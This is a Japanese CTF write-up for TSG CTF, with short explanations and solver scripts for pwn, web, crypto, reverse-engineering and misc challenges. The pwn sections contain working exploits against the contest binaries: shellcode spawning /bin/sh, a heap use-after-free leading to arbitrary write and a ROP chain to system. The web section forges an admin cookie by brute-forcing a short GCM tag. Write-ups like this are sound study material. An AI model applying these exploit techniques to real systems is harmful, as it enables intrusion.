# TSG CTF Writeup
*暫定版。いつかちゃんと書き直します!*
## [pwn] converter
`10101010` みたいなものを変換すると 6 byte になってくれる。それを使って flag を読み出す。
```py
print("10101010" * 21 + "000000020" * 3)
```
## [pwn] converter2
異常な入力を入れると -1 が返ることを利用して、3 番目の入力の末尾まで `utf8_bin` を戻した後に 3 番目の入力を伸ばす。
```python=
from ctf import *
BIN_NAME = "./chall"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))
chall = ELF(BIN_NAME)
if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.146.195.242 40004")
payload = "00010000"
stream.sendlineafter("> ", "10101010" * 22 + "".join([hex(ord(c))[2:].zfill(8) for c in payload]))
stream.sendlineafter("> ", "00010000")
pause()
stream.sendlineafter("> ", "00010000" * 31)
stream.interactive()
```
## [pwn] sloader
`rwx` 領域でコードが動いているので、shellcode が書き込める。`scanf("%s", buf)` は `rbp` から書き込むアドレスを計算しているため、`pop rbp` ガジェットを使うと AAW ができる。scanf 終了後のアドレスに shellcode を直置きした。
```python=
from ctf import *
BIN_NAME = "./chall"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))
chall = ELF(BIN_NAME)
if LOCAL: stream = process(["./sloader", BIN_NAME])
else: stream = remote("nc 34.146.195.242 40001")
chall.base = 0x1400000
RWX_POS = 0x1401000
SHELLCODE_POS = RWX_POS + 0x19f # next addr of scanf("%s", buf)
stream.sendline(
b"A" * 40 + \
p64(next(chall.gadget("pop rbp; ret;"))) + \
p64(SHELLCODE_POS + 0x20) + \
p64(chall.base + 0x1184)
)
stream.sendline(nasm(
"""
mov rax, 59
lea rdi, [rel s_binsh]
xor rsi, rsi
xor rdx, rdx
syscall
s_binsh: db "/bin/sh", 0
""",
bits=64
))
stream.interactive()
```
## [pwn] tinyfs
ディレクトリを消去した際に子ディレクトリの cache を消去していないので、消したはずのディレクトリにアクセスできる。そこから file の UAF を使ってアドレスリーク、AAR, AAW が実現できる。RIP は environ -> ROP で制御。
```python=
from math import e
from ctf import *
BIN_NAME = "./chall_patched"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))
chall = ELF(BIN_NAME)
if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.146.195.242 31415")
def prompt(cmd):
msg = stream.recvuntil("$ ", drop=True)
if msg: print(msg)
print("$", cmd)
stream.sendline(cmd)
def make_directory(path):
prompt(f'mkdir {path}')
def make_file(path):
prompt(f'touch {path}')
def enter(path):
prompt(f'cd {path}')
def leave():
prompt('cd ..')
def delete_item(arg):
prompt(f'rm {arg}')
def list_items():
prompt('ls')
return stream.recvuntil(b"\n$ ", drop=True, lookahead=True)
def print_file_content(file_name):
prompt(f'cat {file_name}')
return stream.recvuntil(b"\n$ ", drop=True, lookahead=True)
def write_file_content(file_name, content, do_return=True):
prompt(f'mod {file_name}')
if do_return:
stream.sendlineafter("> ", content)
else:
stream.sendafter("> ", content)
make_directory("d1")
enter("d1")
make_file("f1")
make_file("f2")
make_file("f3")
make_file("f4")
make_file("f5")
make_file("f6")
make_file("f7")
make_file("f8")
make_directory("d2")
enter("/d1/d2") # make cache
enter("/")
delete_item("d1")
enter("/d1/d2")
leave()
def reverse_shift(h2: int, shift: int):
recovered = 0
for i in range(0, h2.bit_length())[::-1]:
recovered *= 2
recovered ^= (h2 >> i & 1) ^ (recovered >> shift & 1)
assert (recovered ^ (recovered >> shift)) == h2
return recovered
main_arena_addr = u64(print_file_content("f1"))
heap_base = u64(print_file_content("f8")) << 0xc
print(f'{hex(main_arena_addr)=}')
print(f'{hex(heap_base)=}')
libc = ELF(REMOTE_LIBC_PATH)
libc.base = main_arena_addr - 0x1f6ce0
write_file_content("f2", p64(heap_base >> 12 ^ (heap_base + 0x110)))
enter("/")
make_file("dummy1")
make_file("tcache")
counter = 0
def aaw(addr, content):
global counter
write_file_content("tcache", b"\x00" * 8 + p64(addr))
filename = f"aaw{counter}"
make_file(filename)
write_file_content(filename, content)
counter += 1
root_obj_addr = heap_base + 0x2a0
# aaw(root_obj + 0x130, p64(libc.symbol("environ", True)))
aaw(root_obj_addr + 0x130, p64(libc.symbol("environ", True)))
print(f'{hex(root_obj_addr)=}')
print(f'{hex(libc.symbol("environ", True))=}')
listed = list_items()
environ_addr = u64(listed.split(b"/\n")[0])
print(listed, f'{hex(environ_addr)=}')
return_addr = environ_addr-0x128
aaw(
return_addr,
b'\x00' * 8 + \
p64(next(libc.gadget("ret;"))) + \
p64(next(libc.gadget("pop rdi; ret;"))) + \
p64(next(libc.search(b"/bin/sh\x00"))) + \
p64(libc.symbol("system", True))
)
stream.interactive()
```
## [pwn] BABA PWN GAME
レベル名に `hard.y\x00...\x00` みたいな入力をするとステージ外に出られる。そこから、`*` を壁にめり込ませた後に `SINK` にし、壁を破壊することを目指す。
- O と @ を動かして S is YOU に
- S を動かして I is YOU に
- I で I を押してステージ内に侵入し、下に大量にある O を片付ける
- これをせずに O is YOU とすると、自分が壁にめり込みゲームオーバーになる
- 外にある I や内側の O の位置に気をつけながら、O を押して * から壁までの通り道にある X を破壊
- O is You にする
- * を 6 の前にをめり込ませる
- 外にいる I を動かして * is STOP and SINK に
- 中にいる O を動かし、* がめり込んでいる壁に押し込む
- SINK の発火条件がそのマスが update されることなので
- 壁が壊れるので、6 に到達できるようになる
なんか I を押してゴールにたどり着けるらしい。ゴール前の壁が二重になっていても解けるやり方ということで……
```python=
from ctf import *
BIN_NAME = "./baba_pwn_game"
# REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))
chall = ELF(BIN_NAME)
if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.146.195.242 10906")
stream.sendlineafter("(easy/hard)", b'hard.y'.ljust(64, b'\x00'))
# S is PUSH
stream.sendline("wdddddddssssssassssssdaaaaaaasdddddd")
# S is YOU
stream.sendline("wds")
# I is YOU
stream.sendline("sdsdddssssssaassssssaawdddswddsas")
# I inside
stream.sendline("sddsdssssss")
# DESTROY Os
stream.sendline("sssssssddddddddsdddddddddddddawddaaasaaawdddddddaaaaaaasaaaaaaaaawddddddddddddddddaasaasaaaaaaaaaaa")
# Adjust outside Is
stream.sendline("ddddddddddddwwdddddsdd")
# Clear up Xs
stream.sendline("wwasssssaaaaawwwsaawwdwaaaaaaaddddddsswaassssaaaawwawdwassdssawwwdwaaaadddssssddddddddwddsaasawdwaaaaaasawwwawdddssssawdddddddwadsdddwaaaaaaaaaaasawwwdwaaaaaaaaaaw")
# O is YOU
stream.sendline("ssassssssdddds")
# Preapre *
stream.sendline("dddddddddddddaaawaaaaaaaaaadddwwddddddddddddddwwddddsddwaaaaaaaaaaaaaaaaaaasawdwa")
# * is STOP and SINC
stream.sendline("dsddddddddsssddsddwddwwaaawwwwwdssdssdwwwwwssssssaawwwwwsssaadsssss")
# Destroy WALL
stream.sendline("aaaaaaawwwwwawwwaaaaaawwwaasaaawawaaa")
# WIN!
stream.interactive()
```
## [web] brain
string 以外の型も入るため、`{"0": "a", "1000": "a", "length":"1001"}` のような入力を入れればいい。
## [web] dance
GCM の tag は先頭からの一致で判定され、長さのチェックは自前でやらないといけない。ありがとう theoremoon 先生、ありがとう kurenaif 先生。
https://twitter.com/fwarashi/status/1570307626847862784
```python=
import base64
import requests
from urllib.parse import unquote, quote
from ctf import *
sess = requests.session()
base = "http://34.84.176.251:8080/"
sess.post(base + "index.php", data={ "auth": "guest" })
auth_cookie = sess.cookies["auth"]
auth = base64.b64decode(unquote(auth_cookie))
forged_auth = xor(xor(auth, b'guest'), b'admin')
auth_cookie = quote(base64.b64encode(forged_auth))
for tag in range(256):
sess.cookies["auth"] = auth_cookie
sess.cookies["tag"] = quote(base64.b64encode(bytes([tag])))
res = sess.get("http://34.84.176.251:8080/mypage.php").content.decode()
if "rewrote" in res: continue
print(res)
```
## [cry] Unique Flag
Flag の隣接する 2 文字の候補が絞られるため、その情報を用いて木を探索する。First blood を狙っていたので、スクリプトでは枝狩りや flag 候補の判定がかなり雑である。
```python=
from output import *
cur_flag = list(b"TSGCTF{")
def solve(cur_flag):
x = pow(cur_flag[-1], e, N)
for next_c in range(20, 128):
if next_c in cur_flag[7:]: continue
y = pow(next_c, e, N)
if (x * y % N) in clues:
nxt_flag = cur_flag + [next_c]
print(bytes(nxt_flag))
if next_c == ord("}"):
print(bytes(nxt_flag))
input()
else:
solve(nxt_flag)
solve(cur_flag)
```
## [cry] Complicated Function
`m * (m + 2**1023) ≒ N` となるような `m` を考えると、`p` が `[m - (2**512-1)//5, p - (2**512-1)//5 + 2**506)` の範囲に収まることが分かった。これは Partial Key Exposure Attack で解くことができる。bit 数がかなり大きいので、6 bit をグリッドサーチし、それぞれについて 500 bit の PKE Attack をした。以下のスクリプトではグリッドサーチする値を素数性を用いて削減しているため少々煩雑になっている。
```sh=
#!/bin/bash
for i in {0..5}
do
sage solve2.sage $i 6 &
done
```
```python=
import sys
import time
from Crypto.Util.number import *
from itertools import product
from tqdm import tqdm
from output import N
ub, lb = 2**1024, 2**1023
while ub - lb > 1:
mid = (ub + lb) // 2
if N < mid * (mid + 2**1023): ub = mid
else: lb = mid
n = N
p_msb = ub - (2**512-1)//5
UNKNOWN_BIT = 506
SEARCH_BITS = 6
SMALL_ROOTS_BETA = 0.34
SMALL_ROOTS_EPSILON = 0.0055
# (p_msb // base * base) + x*base + y
def get_ys(base):
sieve = [True] * base
for p, _ in factor(base):
for i in range(0, len(sieve), p):
sieve[i] = False
return [i for i in range(base) if sieve[i]]
min_len = 2**30 # inf
min_arg = (-1, [])
primes = [2, 3, 5, 7, 11]
for ps in product(primes):
base_factor = 1
for p in ps: base_factor *= p
base = (2**SEARCH_BITS // base_factor + 1) * base_factor
ys = get_ys(base)
if len(ys) < min_len:
min_len, min_arg = len(ys), (base, ys)
base, ys = min_arg
p_lower = p_msb // base * base
p_upper = p_msb + (2**UNKNOWN_BIT)
x_bound = (p_upper - p_lower + base - 1) // base
assert x_bound <= 2**(UNKNOWN_BIT-SEARCH_BITS)
# p = p_lower + x*base + y
# gcd(p_lower + x*base + y, base) == 1
# <=> gcd(y, base) == 1
def solve(y, file):
PR.<x> = PolynomialRing(Zmod(n))
f = p_lower + x * base + y
f = f.monic()
x_cand = f.small_roots(X=x_bound, beta=SMALL_ROOTS_BETA, epsilon=SMALL_ROOTS_EPSILON)
print(x_cand)
for cand in x_cand:
p = int(p_lower + cand * base + y)
print(p, file=file, flush=True)
if n % p == 0:
print("found", file=file, flush=True)
ind = int(sys.argv[1])
num = int(sys.argv[2])
start = time.time()
file = open(f'res_{ind}_{num}.txt', "w")
# file = sys.stdout
for y in tqdm([y for i, y in enumerate(ys) if i % num == ind], file=file):
solve(y, file)
file.flush()
```
## [cry] streamer
flag のそれぞれの箇所の文字種が限られているので、key の各要素としてありえる要素が限られる。ある程度絞った後は全探索が可能。
```python=
import base64
import hashlib
from itertools import product
from re import A
import re
import string
import tqdm
from output import *
def gen_flag(flag_content):
flag_hash = hashlib.md5(flag_content).digest()
return b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"
FLAG_CONTENT_LEN = 271
assert len(cipher) == len(gen_flag(b"A" * FLAG_CONTENT_LEN))
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
alphabet = [i for i in range(128) if re.fullmatch(pattern, chr(i))]
flag_char_candidates = \
[[c] for c in b"TSGCTF{"] + \
[alphabet for _ in range(FLAG_CONTENT_LEN)] + \
[[ord("@")]] + \
[list((string.ascii_lowercase + string.ascii_uppercase + string.digits + "+/").encode())] * 22 + \
[[c] for c in b"==}"]
test_flag = gen_flag(b"A" * FLAG_CONTENT_LEN)
assert all([c in cands for cands, c in zip(flag_char_candidates, test_flag)])
assert len(flag_char_candidates) == flag_length
paireds = [*zip(flag_char_candidates, cipher)]
key_candidates = []
for i in range(16):
pairs = [paired for ind, paired in enumerate(paireds) if ind % 16 == i]
# print(pairs)
s = set(range(256))
for plain_cands, c in pairs:
key_cands = sorted([cand ^ c for cand in plain_cands])
s = s.intersection(key_cands)
key_candidates.append(list(s))
print(key_candidates)
for key in tqdm.tqdm([*product(*key_candidates)]):
plain = "".join([chr(key[i % 16] ^ c) for i, c in enumerate(cipher)]).encode()
content = plain[7:][:FLAG_CONTENT_LEN]
# input([plain, gen_flag(content)])
if gen_flag(content) != plain: continue
print(plain.decode())
```
## [cry] RANDOM SEED RANDOM
与える seed を適切に調整することで、`seed(s:=randrange())` が短いサイクル長を持つようにしたい。そうすると、関数 `r` からの出力を数種類に絞ることができるためである。ランダムな関数が長さ `4` 以下のサイクルを持たない確率は、`((20231104*9-1)/(20231104*9))^(20231104*9*4)` を計算すると、1% 程度であると分かる(サイクルの性質から、これよりは少し起こりやすいと思われる)。なので、これを計算する。
```python=
import random
import sys
from tqdm import tqdm
for i in tqdm(range(20231104, 20231104 * 10)):
if i % num != ind: continue
seed = i
for j in range(3):
random.seed(seed)
seed = random.randrange(20231104, 20231104 * 10)
if i == seed: print(i, j)
```
すると、`seed = 47852311` としたときに `47852311 -> 89794361 -> 66523739 -> 47852311 -> ...` と循環するということを発見できた。これを用いて、それぞれの文字について 3 種類の暗号化結果が得られるまで結果を集め、そこからそれぞれの文字を求めた。
```python=
from ctf import *
BIN_NAME = ["python", "./main.py"]
LOCAL = not (("REMOTE" in os.environ) or ("REMOTE" in sys.argv))
SEED = 47852311
random.seed(SEED)
def step():
seed = random.randrange(20231104, 20231104 * 10)
random.seed(seed)
return seed
step()
step()
assert step() == SEED
r_cands = [step(), step(), step()]
print(r_cands)
collected = []
while True:
if LOCAL: stream = process(BIN_NAME)
else: stream = remote("nc 34.84.217.62 10960")
stream.sendlineafter(": ", SEED)
collected.append(stream.recvlineafter(": "))
flag_len = len(collected[0])
if all([len(set(chars)) == len(r_cands) for chars in zip(*collected)]): break
print(collected)
cs = string.printable[:-6].encode()
candidates_to_char = { tuple(sorted([cs[(cs.index(c) + r) % len(cs)] for r in r_cands])): c for c in cs }
print(candidates_to_char)
res = [candidates_to_char[tuple(sorted(set(chars)))] for chars in zip(*collected)]
print(bytes(res))
```
## [cry] Learning with Exploitation
LWE を実装しているが、ランダムであるべきベクトルが 0, 1 になっている。これはナップサック暗号のようにして解けるのではないかと考えたため、これを実装した。スケーリングは雰囲気で行った。
```python=
from random import choice
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.crypto.lwe import LWE, samples, balance_sample
from sage.misc.prandom import randrange
from ctf import *
p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
F = GF(p)
d = 100
n = 10
q = p // (2 ** 64) # not prime
D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma
from output import public_key, ciphertext
A, T = public_key
A = matrix(F, A)
T = vector(F, T)
res = b''
for U, v in tqdm(ciphertext):
U = vector(F, U)
INF1 = int(sqrt(p))
INF2 = p
lattice = []
for i, row in enumerate(public_key[0]):
cost = [0] * d
cost[i] = INF1 * 2
lattice.append([*row, *cost, 0])
lattice.append([*U, *([INF1] * d), INF2])
for i in range(n):
mods = [0] * n
mods[i] = p
lattice.append([*mods, *([0] * d), 0])
mat = matrix(ZZ, lattice)
for row in mat.LLL():
if row[-1] == 0: continue
assert all([item == 0 for item in row[:n]])
choices = row[n:][:d]
assert all([abs(item) == INF1 for item in choices])
r = vector([1 if item != INF1 else 0 for item in choices])
# print(r * matrix(A), U)
# assert r * matrix(A) == U
m = (v - r * vector(T)) // q
res += long_to_bytes(int(m))
print(res)
```
## [rev] beginners_rev_2023
"Correct" や "Wrong" といったシンボルから処理の場所をたどると、以下のような見た目の関数にたどり着く。なお、デコンパイルは Ghidra によるものである。
```c=
extern char result_buf[0x200];
void check(void) {
int iVar1;
int *expanded_key;
void *input_buf;
char *_Str;
longlong len;
undefined8 uVar2;
longlong _j;
undefined8 uVar3;
longlong i;
undefined8 in_R9;
undefined auStack_258 [32];
char key [16];
char input [512];
ulonglong local_18;
ulonglong *buf;
ulonglong *nxt_buf;
expanded_key = (int *)malloc(0x408);
*(undefined8 *)expanded_key = 0;
strcpy(key, "2023TTSSGG2023!");
_j = -1;
do {
len = _j + 1;
i = _j + 1;
_j = len;
} while (key[i] != '\0');
expand_key(expanded_key,(int)len,key);
input_buf = malloc(0x201);
uVar2 = 0;
uVar3 = 0x201;
memset(input_buf,0,0x201);
printf("Flag> ");
scanf("%s",input_buf,0x201,in_R9);
memset(input,0,0x201);
_j = 2;
i = 2;
buf = (ulonglong *)((longlong)input_buf + 0x18);
do {
buf[-3] = buf[-3] ^ buf[-3] >> 0xc;
buf[-2] = buf[-2] ^ buf[-2] >> 0xc;
buf[-1] = buf[-1] ^ buf[-1] >> 0xc;
*buf = *buf ^ *buf >> 0xc;
buf[1] = buf[1] ^ buf[1] >> 0xc;
buf[2] = buf[2] ^ buf[2] >> 0xc;
// ...
buf[0x13] = buf[0x13] >> 0xc ^ buf[0x13];
buf[0x14] = buf[0x14] >> 0xc ^ buf[0x14];
nxt_buf = buf + 0x20;
buf[0x15] = buf[0x15] >> 0xc ^ buf[0x15];
buf[0x16] = buf[0x16] >> 0xc ^ buf[0x16];
buf[0x17] = buf[0x17] >> 0xc ^ buf[0x17];
buf[0x18] = buf[0x18] >> 0xc ^ buf[0x18];
buf[0x19] = buf[0x19] >> 0xc ^ buf[0x19];
buf[0x1a] = buf[0x1a] >> 0xc ^ buf[0x1a];
buf[0x1b] = buf[0x1b] >> 0xc ^ buf[0x1b];
buf[0x1c] = buf[0x1c] >> 0xc ^ buf[0x1c];
i = i + -1;
buf = nxt_buf;
} while (i != 0);
FUN_1400010e0((uint *)expanded_key,nxt_buf,(longlong)input_buf,(longlong)input);
buf = (ulonglong *)(input + 0x18);
do {
buf[-3] = buf[-3] ^ buf[-3] >> 0xc;
buf[-2] = buf[-2] ^ buf[-2] >> 0xc;
buf[-1] = buf[-1] ^ buf[-1] >> 0xc;
*buf = *buf ^ *buf >> 0xc;
buf[1] = buf[1] ^ buf[1] >> 0xc;
buf[2] = buf[2] ^ buf[2] >> 0xc;
// ...
buf[0x1b] = buf[0x1b] >> 0xc ^ buf[0x1b];
buf[0x1c] = buf[0x1c] >> 0xc ^ buf[0x1c];
_j = _j + -1;
buf = buf + 0x20;
} while (_j != 0);
iVar1 = memcmp(input,&result_buf,0x200);
_Str = "Correct!!!";
if (iVar1 != 0) {
_Str = "Wrong...";
}
puts(_Str);
}
```
また、この関数内で呼ばれている関数は以下のような見た目になっている。
```c=
void encryption(uint *key, byte *plain, byte *cipher)
{
uint uVar1;
uint uVar2;
uint uVar3;
ulonglong uVar4;
byte *pbVar5;
longlong lVar6;
ulonglong uVar7;
uint uVar8;
byte *pbVar9;
uVar4 = (ulonglong)*key;
uVar7 = (ulonglong)key[1];
lVar6 = 0x20;
pbVar5 = cipher + 2;
pbVar9 = plain + 2;
do {
uVar3 = (int)uVar4 + 1U & 0xff;
uVar1 = key[(ulonglong)uVar3 + 2];
uVar8 = uVar1 + (int)uVar7 & 0xff;
uVar2 = key[(ulonglong)uVar8 + 2];
key[(ulonglong)uVar3 + 2] = uVar2;
key[(ulonglong)uVar8 + 2] = uVar1;
pbVar9[(longlong)(cipher + (-2 - (longlong)plain))] =
*(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[-2];
uVar3 = uVar3 + 1 & 0xff;
uVar1 = key[(ulonglong)uVar3 + 2];
uVar8 = uVar8 + uVar1 & 0xff;
uVar2 = key[(ulonglong)uVar8 + 2];
key[(ulonglong)uVar3 + 2] = uVar2;
key[(ulonglong)uVar8 + 2] = uVar1;
pbVar5[-1] = *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[-1];
// ......
uVar3 = uVar3 + 1 & 0xff;
uVar1 = key[(ulonglong)uVar3 + 2];
uVar8 = uVar8 + uVar1 & 0xff;
uVar2 = key[(ulonglong)uVar8 + 2];
key[(ulonglong)uVar3 + 2] = uVar2;
key[(ulonglong)uVar8 + 2] = uVar1;
pbVar5[0xc] = *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xc];
uVar3 = uVar3 + 1 & 0xff;
uVar4 = (ulonglong)uVar3;
uVar1 = key[uVar4 + 2];
uVar8 = uVar8 + uVar1 & 0xff;
uVar7 = (ulonglong)uVar8;
uVar2 = key[uVar7 + 2];
key[uVar4 + 2] = uVar2;
key[uVar7 + 2] = uVar1;
pbVar5[0xd] = *(byte *)(key + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xd];
lVar6 = lVar6 + -1;
pbVar5 = pbVar5 + 0x10;
pbVar9 = pbVar9 + 0x10;
} while (lVar6 != 0);
key[1] = uVar8;
*key = uVar3;
return;
}
```
この関数何らかの既存の暗号を実装していると推測したため、 ChatGPT に質問をした。すると、`RC4` であることが分かった。
コードは深く読み込まず、上の方で別の関数に渡されている文字列 `2023TTSSGG2023!` を key とし、RC4 に渡される前及び後で各 byte が `c ^ c >> 0xc` により暗号化されていると推測した。この推測に基づき復号化処理を書くと、以下の通りとなった。
```python=
from Crypto.Cipher import ARC4
from Crypto.Hash import SHA256, HMAC
from Crypto.Random import get_random_bytes
from more_itertools import chunked
cipher = ARC4.new(b'2023TTSSGG2023!')
scrambled_enc = b'\x07\x56\xe5\x58\x71\x89\x9a\xca\xf0\x67\x03\x2d\x49\xfb\x6e\x86\xc2\xf7\x48\xca\x3c\x43\xdb\x8e\x04\x2a\x56\x4a\x97\x33\xa1\xa2\x07\x83\xf0\x89\x19\x13\x77\xb4\x9f\x7d\x7b\x9c\xdd\x8e\xfd\xad\xb5\xe2\x28\x0e\x06\xaf\xe5\xe3\x86\xc3\x08\xad\xe6\x4c\xde\x63\xa3\x5f\x1e\x96\x34\x7d\x9d\x19\xf5\xc8\x84\x7f\x7b\x62\x2a\x6b\xc1\x28\x3b\x6d\x09\xef\xfc\xcb\xa0\x90\x9a\x3e\x66\xa2\x4e\x06\x90\x2c\x9d\xae\x3c\x99\x40\x53\x4c\x69\x63\xe7\xb9\xa8\xb3\x87\xa5\x97\x98\xfe\x1f\x20\x51\xa7\xae\x0d\x00\xab\x16\x35\x59\x3d\x08\x1b\x1c\x92\xe2\x4f\x1d\x86\xa5\x6e\x0a\x14\x45\x4d\x61\x08\x69\xc3\x12\xa2\xeb\x50\x13\x93\x22\xe2\xc4\x10\xca\x5f\xb2\x0b\xa2\x30\xc8\x54\x91\x3a\x37\xfd\xd2\x10\xab\x5a\xf8\x38\xf3\xd3\xd5\x85\x58\xde\xdf\xc0\xf4\x17\x4e\xf7\x31\x79\xdd\x41\x2f\xb3\x20\xc7\xec\x98\x5e\xae\xf7\xa9\xcb\x27\x13\x72\xfe\xca\x64\xff\x43\x93\x80\x3e\x1e\xe5\x99\xbf\x41\x4b\x9d\x85\x4e\x0f\x99\x94\x57\xe1\x63\xd9\x01\x85\x78\x8a\x06\xfe\x9d\x41\x32\x74\x55\x83\xb2\x85\xe9\x9f\xc6\x2c\x4b\x62\x8f\xbf\x7d\x57\xc8\x76\x3b\x31\x5e\x87\x60\x89\x35\x41\xc1\x52\x6c\xd0\x0b\x7d\xca\x60\x5d\x82\x19\xb0\x96\x5e\x16\xe7\x9b\x2f\x37\x5f\xc9\xc5\xf3\x20\xc3\x45\xcb\x47\xa1\xcc\x79\xe5\xb6\xfb\xd4\x55\xdb\xc1\x35\x9b\x8b\xfa\x38\xd5\xb2\xb5\xe0\x4f\x4d\x6c\x4f\x8c\x0c\x42\xbc\x8e\xb3\x78\x48\xe4\x87\x8e\x34\xa3\x1d\x01\x53\x98\x71\xfa\x8f\x2f\xe3\x7a\x6b\xb9\x1b\xb6\x7e\x34\x7f\xc8\xc4\x6c\xab\x45\x4d\x81\xef\xee\xc3\xd9\xdb\x13\x5b\x63\x90\xfc\x34\x18\x81\xbc\xd1\x18\x48\xbb\x7c\x24\x5b\x56\x2b\x35\x6b\xd7\xf9\xd3\xd5\x2b\xe2\x24\xd8\x50\xf1\xec\xd5\xe6\x29\x55\x66\xf2\xf7\x28\x20\x7d\xf3\x47\x40\x03\x11\x4a\x47\xa5\xb4\x74\x15\x35\xd0\xf0\xe5\x4c\x04\xb5\x59\xfe\xfc\x45\x9d\x3a\xa1\x3f\x1a\xa7\xa8\x51\xe5\x65\xf1\x56\xee\xde\xfc\xc4\x87\xf5\xfa\x79\x31\x07\x0a\x3f\x41\x28\xd1\x59\x17\x4d\x02\xe4\x5a\x22\x3a\xbc\xd2\xcd\x80\xbc\x2a\x49\xf0\x7f\x97\xa1\x90\x59\x01\x8d\x25\x43\xd8\x00\xea\xd8\x4f\xe2\x4e\x2b\x06\xfd\x7e\x16\xa9\x92\xc4\xfd\xb5\x6a\x82\x06\x18\x0c\x0a\xb7\xb8\x29\x8f\x87\x63\x65\x25\xb9\x7a\xd0\x6e\x30\x3c\xf2\xf7\xc2\x30\x86'
def reverse_shift(h2: int, shift: int):
recovered = 0
for i in range(0, h2.bit_length())[::-1]:
recovered *= 2
recovered ^= (h2 >> i & 1) ^ (recovered >> shift & 1)
assert (recovered ^ (recovered >> shift)) == h2
return recovered
def batch_reverse(b: bytes, shift: int):
return b''.join([reverse_shift(int.from_bytes(chunk, "little"), shift).to_bytes(8, "little") for chunk in chunked(b, 8)])
enc = batch_reverse(scrambled_enc, 0xc)
scrambled_plain = cipher.decrypt(enc)
plain = batch_reverse(scrambled_plain, 0xc)
print(plain)
```
## [rev] T the weakest
`strace` でバイナリの挙動を確認すると、再帰的に `/proc/self/fd/3` を用いて自己を呼び出していることが分かった。この際、引数に与えた flag が先頭から 1 文字ずつ判定し、不正解の文字の時点で判定が停止するという挙動をしていることも分かった。
```
$ strace ./t_the_weakest TSGCTF{A 2>&1 | grep t_the_weakest
execve("./t_the_weakest", ["./t_the_weakest", "TSGCTF{A"], 0x7ffe82ea0598 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "SGCTF{A"], 0x7fffd3acd670 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "GCTF{A"], 0x7fffe2ece7e0 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "CTF{A"], 0x7ffd1e6294b0 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "TF{A"], 0x7ffe5d4bc2f0 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "F{A"], 0x7ffe4d03b940 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "{A"], 0x7fff8ec40670 /* 89 vars */) = 0
execve("/proc/self/fd/3", ["./t_the_weakest", "A"], 0x7ffd60532f10 /* 89 vars */) = 0
```
この挙動を用いて、部分的に求まった flag の次の一文字をブルートフォースし、flag を逐次的に求めていくことを考える。`strace` を用いた手法はデバッガ検知により flag の途中から使えなくなったので、他の手法を用いることとした。
このフラグチェッカーは、`ng` を出力した後に `exit` を呼んでいる。この exit を LD_PRELOAD を用いて置き換え、現時点でのコマンドライン引数を出力する処理を追加した。
```c=
#include<stdlib.h>
#include<stdint.h>
#include <stdio.h>
#include <stdlib.h>
void exit(int val) {
FILE *f = fopen("/proc/self/cmdline", "r");
char buf[4096];
size_t n = fread(buf, 1, sizeof(buf), f);
size_t i, last_null = 0;
for (i = 0; i < n - 1; i++) {
if (buf[i] == '\0') {
last_null = i;
}
}
printf("%s\n", &buf[last_null + 1]);
fflush(stdout);
fclose(f);
_exit(val);
}
```
これを用いることで、flag の末尾まで求められた。
```python=
from ctf import *
def test_prefix(cur: str):
while True:
proc = subprocess.run(["./t_the_weakest", cur], env={ "LD_PRELOAD": "./hook.so" }, stdout=subprocess.PIPE)
stdout = proc.stdout.decode().split("\n")[1].strip()
if 2 <= len(stdout): continue
return len(stdout) == 0
alphabet = set(string.printable) - set(" \t\n\x0b\x0c\r")
cur = "TSGCTF{"
while True:
print(f"[+] {cur=}")
for c in tqdm(list(alphabet)):
nxt = cur + c
print(nxt)
if not test_prefix(nxt): continue
print("\n")
cur = nxt
break
else:
break
print(cur)
```
## [misc] Graffiti in the Fog
この問題は、点群について分散が少ない方向を二方向見つけてくる問題である。これは主成分分析を行えばよい。
```python=
import numpy as np
from sklearn.decomposition import PCA
import matplotlib.pyplot as plt
A = np.load("problem.npy")
pca = PCA()
pca.fit(A)
data_pca = pca.transform(A)
plt.scatter(data_pca[:, 2], data_pca[:, 3], s=0.01)
plt.axis("equal")
plt.gca().invert_yaxis()
plt.show()
```
![image.png](https://hackmd.io/_uploads/SyfnfgHmp.png)
## [misc] Secret Sequence
expanded key が 8 bit のエントロピーしか持たない。
```python=
encrypted_flags = [136566763988814260123977728391695169870, 297854733988125490212154919002758942167, 140286143861115781298750245081274386093, 267780198301748450281498233524628586631, 67891782595602432915140903440966332185, 27833795440965705923198634284529559150, 75239374091619069386173206358307312436, 155895086707931827255209248461881439022, 168571968627802622229088996983467487220, 258118042758062906462047523793633475289]
while True:
block_length = len(encrypted_flags)
nonce = 18639088674531619804203553158
assert block_length <= 2**32
counter = [int.to_bytes((nonce<<32) + i,16,'big') for i in range(0,block_length)]
key = secrets.token_bytes(16)
encrypted_counter = [twofish_encrypt(i,key) for i in counter]
res = b''.join([long_to_bytes(f ^ bytes_to_long(c)) for f, c in zip(encrypted_flags, encrypted_counter)])
if b'TSG' in res:
print(res)
input()
```
## [misc] Q??ode
